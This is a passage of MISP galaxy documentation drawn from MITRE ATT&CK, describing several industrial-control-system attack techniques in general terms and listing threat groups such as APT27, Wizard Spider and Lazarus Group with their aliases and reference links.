Adversaries may rely on a targeted organizations' user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software

The tag is: *misp-galaxy:mitre-ics-techniques="User Execution"*

Table 10703. Table References

Links
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf
https://www.f-secure.com/weblog/archives/00002718.html
https://www.youtube.com/watch?v=eywmb7UDODY&feature=youtu.be&t=939
https://securelist.com/bad-rabbit-ransomware/82851/

Utilize/Change Operating Mode

Adversaries may place controllers into an alternate mode of operation to enable configuration setting changes for evasive code execution or to inhibit device functionality. Programmable controllers typically have several modes of operation. These modes can be broken down into three main categories: program run, program edit, and program write. Each of these modes puts the device in a state in which certain functions are available. For instance, the program edit mode allows alterations to be made to the user program while the device is still online. By driving a device into an alternate mode of operation, an adversary has the ability to change configuration settings in such a way to cause a Impact to equipment and/or industrial process associated with the targeted device. An adversary may also use this alternate mode to execute arbitrary code which could be used to evade defenses.

The tag is: *misp-galaxy:mitre-ics-techniques="Utilize/Change Operating Mode"*

Table 10704. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html

https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Valid Accounts

Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence. The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system. In the 2015 attack on the Ukranian power grid, the adversaries used valid credentials to interact directly with the client application of the distribution management system (DMS) server via a VPN and native remote access services to access employee workstations hosting HMI applications.2 The adversaries caused outages at three different energy companies, causing loss of power to over 225,000 customers over various areas.

The tag is: *misp-galaxy:mitre-ics-techniques="Valid Accounts"*

Table 10705. Table References

Links
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://dragos.com/resource/allanite/
https://dragos.com/resource/dymalloy/
https://www.us-cert.gov/ncas/alerts/TA17-293A
https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign
https://dragos.com/resource/chrysene/
https://dragos.com/resource/electrum/
https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf
https://dragos.com/blog/trisis/TRISIS-01.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Wireless Compromise

Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device.12 Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. A joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective.3 The adversary disrupted Maroochy Shire's radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire's repeater stations. A Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. The remote controller device allowed the student to interface with the tram's network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. The controller then enabled initial access to the network, allowing the capture and replay of tram signals

The tag is: *misp-galaxy:mitre-ics-techniques="Wireless Compromise"*

Table 10706. Table References

Links
https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf
https://www.slideshare.net/dgpeters/17-bolshev-1-13
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://www.londonreconnections.com/2017/hacked-cyber-security-railways/
https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/
https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html

Intrusion Set

Name of ATT&CK Group.

Intrusion Set is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Ajax Security Team - G0130

[Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to

malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)

The tag is: *misp-galaxy:mitre-intrusion-set="Ajax Security Team - G0130"*

Ajax Security Team - G0130 is also known as:

- Ajax Security Team
- Operation Woolen-Goldfish
- AjaxTM
- Rocket Kitten
- Flying Kitten
- Operation Saffron Rose

Table 10707. Table References

Links
https://attack.mitre.org/groups/G0130
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf
https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf
https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/
https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/
https://www.mandiant.com/sites/default/files/2021-09/rpt-operation-saffron-rose.pdf

The White Company - G0089

[The White Company](https://attack.mitre.org/groups/G0089) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="The White Company - G0089"*

The White Company - G0089 is also known as:

- The White Company

Table 10708. Table References

Links
https://attack.mitre.org/groups/G0089
https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517

Threat Group-3390 - G0027

[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims.(Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, manufacturing and gambling/betting sectors.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Securelist LuckyMouse June 2018)(Citation: Trend Micro DRBControl February 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Threat Group-3390 - G0027"*

Threat Group-3390 - G0027 is also known as:

- Threat Group-3390
- Earth Smilodon
- TG-3390
- Emissary Panda
- BRONZE UNION
- APT27
- Iron Tiger
- LuckyMouse
- Linen Typhoon

View relationships graph

Threat Group-3390 - G0027 has relationships with:

- similar: misp-galaxy:threat-actor="APT27" with estimative-language:likelihood-probability="likely"

Table 10709. Table References

Links
http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
https://attack.mitre.org/groups/G0027
https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf
https://learn.microsoft.com/en-us/unified-secops-platform/microsoft-threat-actor-naming
https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/
https://securelist.com/luckymouse-hits-national-data-center/86083/
https://thehackernews.com/2018/06/chinese-watering-hole-attack.html
https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/

https://www.secureworks.com/research/bronze-union
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html

Threat Group-1314 - G0028

[Threat Group-1314](https://attack.mitre.org/groups/G0028) is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure. (Citation: Dell TG-1314)

The tag is: *misp-galaxy:mitre-intrusion-set="Threat Group-1314 - G0028"*

Threat Group-1314 - G0028 is also known as:

- Threat Group-1314
- TG-1314

Table 10710. Table References

Links
http://www.secureworks.com/resources/blog/living-off-the-land/
https://attack.mitre.org/groups/G0028

Dragonfly 2.0 - G0074

[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY)

The tag is: *misp-galaxy:mitre-intrusion-set="Dragonfly 2.0 - G0074"*

Dragonfly 2.0 - G0074 is also known as:

- Dragonfly 2.0
- IRON LIBERTY
- DYMALLOY
- Berserk Bear

Table 10711. Table References

Links
http://fortune.com/2017/09/06/hack-energy-grid-symantec/
https://attack.mitre.org/groups/G0074
https://www.dragos.com/threat/dymalloy/
https://www.secureworks.com/research/mcmd-malware-analysis
https://www.secureworks.com/research/threat-profiles/iron-liberty
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://www.us-cert.gov/ncas/alerts/TA18-074A

Lotus Blossom - G0030

[Lotus Blossom](https://attack.mitre.org/groups/G0030) is a long-standing threat group largely targeting various entities in Asia since at least 2009. In addition to government and related targets, [Lotus Blossom](https://attack.mitre.org/groups/G0030) has also targeted entities such as digital certificate issuers.(Citation: Lotus Blossom Jun 2015)(Citation: Symantec Bilbug 2022)(Citation: Cisco LotusBlossom 2025)

The tag is: *misp-galaxy:mitre-intrusion-set="Lotus Blossom - G0030"*

Lotus Blossom - G0030 is also known as:

- Lotus Blossom
- DRAGONFISH
- Spring Dragon
- RADIUM
- Raspberry Typhoon
- Bilbug
- Thrip

View relationships graph

Lotus Blossom - G0030 has relationships with:

- similar: misp-galaxy:threat-actor="LOTUS PANDA" with estimative-language:likelihood-probability="likely"

Table 10712. Table References

Links
https://attack.mitre.org/groups/G0030
https://blog.talosintelligence.com/lotus-blossom-espionage-group/

https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://securelist.com/the-spring-dragon-apt/70726/
https://web.archive.org/web/20190508165226/https://www.accenture.com/t20180127T003755Z_w/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html
https://www.security.com/threat-intelligence/espionage-asia-governments-cert-authority

BRONZE BUTLER - G0060

[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="BRONZE BUTLER - G0060"*

BRONZE BUTLER - G0060 is also known as:

- BRONZE BUTLER
- REDBALDKNIGHT
- Tick

View relationships graph

BRONZE BUTLER - G0060 has relationships with:

- similar: misp-galaxy:threat-actor="Tick" with estimative-language:likelihood-probability="likely"

Table 10713. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
https://attack.mitre.org/groups/G0060
https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan

Dark Caracal - G0070

[Dark Caracal](https://attack.mitre.org/groups/G0070) is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. (Citation: Lookout Dark Caracal Jan 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Dark Caracal - G0070"*

Dark Caracal - G0070 is also known as:

- Dark Caracal

Table 10714. Table References

Links
https://attack.mitre.org/groups/G0070
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

Cobalt Group - G0080

[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008).(Citation: Europol Cobalt Mar 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Cobalt Group - G0080"*

Cobalt Group - G0080 is also known as:

- Cobalt Group
- GOLD KINGSWOOD
- Cobalt Gang
- Cobalt Spider

Table 10715. Table References

Links
https://attack.mitre.org/groups/G0080

https://blog.morphisec.com/cobalt-gang-2.0
https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html
https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report
https://web.archive.org/web/20190508170147/https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/
https://web.archive.org/web/20190508170630/https://www.riskiq.com/blog/labs/cobalt-strike/
https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain
https://www.group-ib.com/blog/cobalt
https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target
https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf
https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf
https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish

Deep Panda - G0009

[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="Deep Panda - G0009"*

Deep Panda - G0009 is also known as:

- Deep Panda
- Shell Crew
- WebMasters
- KungFu Kittens
- PinkPanther
- Black Vine

View relationships graph

Deep Panda - G0009 has relationships with:

- similar: misp-galaxy:threat-actor="HURRICANE PANDA" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT19" with estimative-language:likelihood-probability="likely"

Table 10716. Table References

Links
https://attack.mitre.org/groups/G0009
https://web.archive.org/web/20170823094836/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf
https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/
https://web.archive.org/web/20200424075623/https:/www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/
https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/

Mustard Tempest - G1020

[Mustard Tempest](https://attack.mitre.org/groups/G1020) is an initial access broker that has operated the [SocGholish](https://attack.mitre.org/software/S1124) distribution network since at least 2017. [Mustard Tempest](https://attack.mitre.org/groups/G1020) has partnered with [Indrik Spider](https://attack.mitre.org/groups/G0119) to provide access for the download of additional malware including LockBit, [WastedLocker](https://attack.mitre.org/software/S0612), and remote access tools.(Citation: Microsoft Ransomware as a Service)(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Secureworks Gold Prelude Profile)(Citation: SocGholish-update)

The tag is: *misp-galaxy:mitre-intrusion-set="Mustard Tempest - G1020"*

Mustard Tempest - G1020 is also known as:

- Mustard Tempest
- DEV-0206
- TA569
- GOLD PRELUDE
- UNC1543

Table 10717. Table References

Links
https://attack.mitre.org/groups/G1020

https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update
https://www.secureworks.com/research/threat-profiles/gold-prelude

Wizard Spider - G0102

[Wizard Spider](https://attack.mitre.org/groups/G0102) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://attack.mitre.org/software/S0266) since at least 2016. [Wizard Spider](https://attack.mitre.org/groups/G0102) possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Wizard Spider - G0102"*

Wizard Spider - G0102 is also known as:

- Wizard Spider
- UNC1878
- TEMP.MixMaster
- Grim Spider
- FIN12
- GOLD BLACKBURN
- ITG23
- Periwinkle Tempest
- DEV-0193

Table 10718. Table References

Links
https://attack.mitre.org/groups/G0102
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/
https://us-cert.cisa.gov/ncas/alerts/aa20-302a

https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/
https://www.crowdstrike.com/blog/wizard-spider-adversary-update/
https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf
https://www.secureworks.com/research/threat-profiles/gold-blackburn

Ember Bear - G1003

[Ember Bear](https://attack.mitre.org/groups/G1003) is a Russian state-sponsored cyber espionage group that has been active since at least 2020, linked to Russia's General Staff Main Intelligence Directorate (GRU) 161st Specialist Training Center (Unit 29155).(Citation: CISA GRU29155 2024) [Ember Bear](https://attack.mitre.org/groups/G1003) has primarily focused operations against Ukrainian government and telecommunication entities, but has also operated against critical infrastructure entities in Europe and the Americas.(Citation: Cadet Blizzard emerges as novel threat actor) [Ember Bear](https://attack.mitre.org/groups/G1003) conducted the [WhisperGate](https://attack.mitre.org/software/S0689) destructive wiper attacks against Ukraine in early 2022.(Citation: CrowdStrike Ember Bear Profile March 2022)(Citation: Mandiant UNC2589 March 2022)(Citation: CISA GRU29155 2024) There is some confusion as to whether [Ember Bear](https://attack.mitre.org/groups/G1003) overlaps with another Russian-linked entity referred to as [Saint Bear](https://attack.mitre.org/groups/G1031). At present available evidence strongly suggests these are distinct activities with different behavioral profiles.(Citation: Cadet Blizzard emerges as novel threat actor)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="Ember Bear - G1003"*

Ember Bear - G1003 is also known as:

- Ember Bear
- UNC2589
- Bleeding Bear
- DEV-0586
- Cadet Blizzard
- Frozenvista
- UAC-0056

Table 10719. Table References

Links

https://attack.mitre.org/groups/G1003
https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/
https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf
https://www.crowdstrike.com/blog/who-is-ember-bear/
https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation
https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/

Dust Storm - G0031

[Dust Storm](https://attack.mitre.org/groups/G0031) is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)

The tag is: *misp-galaxy:mitre-intrusion-set="Dust Storm - G0031"*

Dust Storm - G0031 is also known as:

- Dust Storm

View relationships graph

Dust Storm - G0031 has relationships with:

- similar: misp-galaxy:threat-actor="Dust Storm" with estimative-language:likelihood-probability="likely"

Table 10720. Table References

Links
https://attack.mitre.org/groups/G0031
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf

Night Dragon - G0014

[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)

The tag is: *misp-galaxy:mitre-intrusion-set="Night Dragon - G0014"*

Night Dragon - G0014 is also known as:

- Night Dragon

View relationships graph

Night Dragon - G0014 has relationships with:

- similar: misp-galaxy:threat-actor="Night Dragon" with estimative-language:likelihood-probability="likely"

Table 10721. Table References

Links
https://attack.mitre.org/groups/G0014
https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf

Water Galura - G1050

[Water Galura](https://attack.mitre.org/groups/G1050) are the operators of the [Qilin](https://attack.mitre.org/software/S1242) Ransomware-as-a-Service (RaaS) who handle payload generation, ransom negotiations, and the publication of stolen data for [Qilin](https://attack.mitre.org/software/S1242) affilates recruited on Russian cybercrime forums. [Water Galura](https://attack.mitre.org/groups/G1050) have been active since at least 2022 and use a double extortion model where they demand payment for providing decryption keys and for refraining from publishing the stolen data to their leak site.(Citation: BushidoToken Qilin RaaS JUN 2024)(Citation: Sophos Qilin MSP APR 2025)

The tag is: *misp-galaxy:mitre-intrusion-set="Water Galura - G1050"*

Water Galura - G1050 is also known as:

- Water Galura
- GOLD FEATHER

Table 10722. Table References

Links
https://attack.mitre.org/groups/G1050
https://blog.bushidotoken.net/2024/06/tracking-adversaries-qilin-raas.html
https://news.sophos.com/en-us/2025/04/01/sophos-mdr-tracks-ongoing-campaign-by-qilin-affiliates-targeting-screenconnect/

Earth Lusca - G1006

[Earth Lusca](https://attack.mitre.org/groups/G1006) is a suspected China-based cyber espionage group that has been active since at least April 2019. [Earth Lusca](https://attack.mitre.org/groups/G1006) has targeted organizations in Australia, China, Hong Kong, Mongolia, Nepal, the Philippines, Taiwan, Thailand, Vietnam, the United Arab Emirates, Nigeria, Germany, France, and the United States. Targets included government institutions, news media outlets, gambling companies,

educational institutions, COVID-19 research organizations, telecommunications companies, religious movements banned in China, and cryptocurrency trading platforms; security researchers assess some [Earth Lusca](https://attack.mitre.org/groups/G1006) operations may be financially motivated.(Citation: TrendMicro EarthLusca 2022)

[Earth Lusca](https://attack.mitre.org/groups/G1006) has used malware commonly used by other Chinese threat groups, including [APT41](https://attack.mitre.org/groups/G0096) and the [Winnti Group](https://attack.mitre.org/groups/G0044) cluster, however security researchers assess [Earth Lusca](https://attack.mitre.org/groups/G1006)'s techniques and infrastructure are separate.(Citation: TrendMicro EarthLusca 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="Earth Lusca - G1006"*

Earth Lusca - G1006 is also known as:

- Earth Lusca
- TAG-22
- Charcoal Typhoon
- CHROMIUM
- ControlX

Table 10723. Table References

Links
https://attack.mitre.org/groups/G1006
https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://www.recordedfuture.com/research/chinese-group-tag-22-targets-nepal-philippines-taiwan
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf

Aoqin Dragon - G1007

[Aoqin Dragon](https://attack.mitre.org/groups/G1007) is a suspected Chinese cyber espionage threat group that has been active since at least 2013. [Aoqin Dragon](https://attack.mitre.org/groups/G1007) has primarily targeted government, education, and telecommunication organizations in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. Security researchers noted a potential association between [Aoqin Dragon](https://attack.mitre.org/groups/G1007) and UNC94, based on malware, infrastructure, and targets.(Citation: SentinelOne Aoqin Dragon June 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="Aoqin Dragon - G1007"*

Aoqin Dragon - G1007 is also known as:

- Aoqin Dragon

Table 10724. Table References

Links
https://attack.mitre.org/groups/G1007
https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/

Blue Mockingbird - G0108

[Blue Mockingbird](https://attack.mitre.org/groups/G0108) is a cluster of observed activity involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. The earliest observed Blue Mockingbird tools were created in December 2019.(Citation: RedCanary Mockingbird May 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Blue Mockingbird - G0108"*

Blue Mockingbird - G0108 is also known as:

- Blue Mockingbird

Table 10725. Table References

Links
https://attack.mitre.org/groups/G0108
https://redcanary.com/blog/blue-mockingbird-cryptominer/

Tropic Trooper - G0081

[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Tropic Trooper - G0081"*

Tropic Trooper - G0081 is also known as:

- Tropic Trooper
- Pirate Panda
- KeyBoy

Table 10726. Table References

Links

https://attack.mitre.org/groups/G0081
https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/
https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf
https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
https://www.crowdstrike.com/blog/on-demand-webcast-crowdstrike-experts-on-covid-19-cybersecurity-challenges-and-recommendations/

Moses Staff - G1009

[Moses Staff](https://attack.mitre.org/groups/G1009) is a suspected Iranian threat group that has primarily targeted Israeli companies since at least September 2021. [Moses Staff](https://attack.mitre.org/groups/G1009) openly stated their motivation in attacking Israeli companies is to cause damage by leaking stolen sensitive data and encrypting the victim's networks without a ransom demand.(Citation: Checkpoint MosesStaff Nov 2021)

Security researchers assess [Moses Staff](https://attack.mitre.org/groups/G1009) is politically motivated, and has targeted government, finance, travel, energy, manufacturing, and utility companies outside of Israel as well, including those in Italy, India, Germany, Chile, Turkey, the UAE, and the US.(Citation: Cybereason StrifeWater Feb 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="Moses Staff - G1009"*

Moses Staff - G1009 is also known as:

- Moses Staff
- DEV-0500
- Marigold Sandstorm

Table 10727. Table References

Links
https://attack.mitre.org/groups/G1009
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/
https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations

Lazarus Group - G0032

[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group attributed to the Reconnaissance General Bureau (RGB). (Citation: US-CERT HIDDEN

COBRA June 2017) (Citation: Treasury North Korean Cyber Groups September 2019) [Lazarus Group](https://attack.mitre.org/groups/G0032) has been active since at least 2009 and is reportedly responsible for the November 2014 destructive wiper attack on Sony Pictures Entertainment, identified by Novetta as part of Operation Blockbuster. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster)

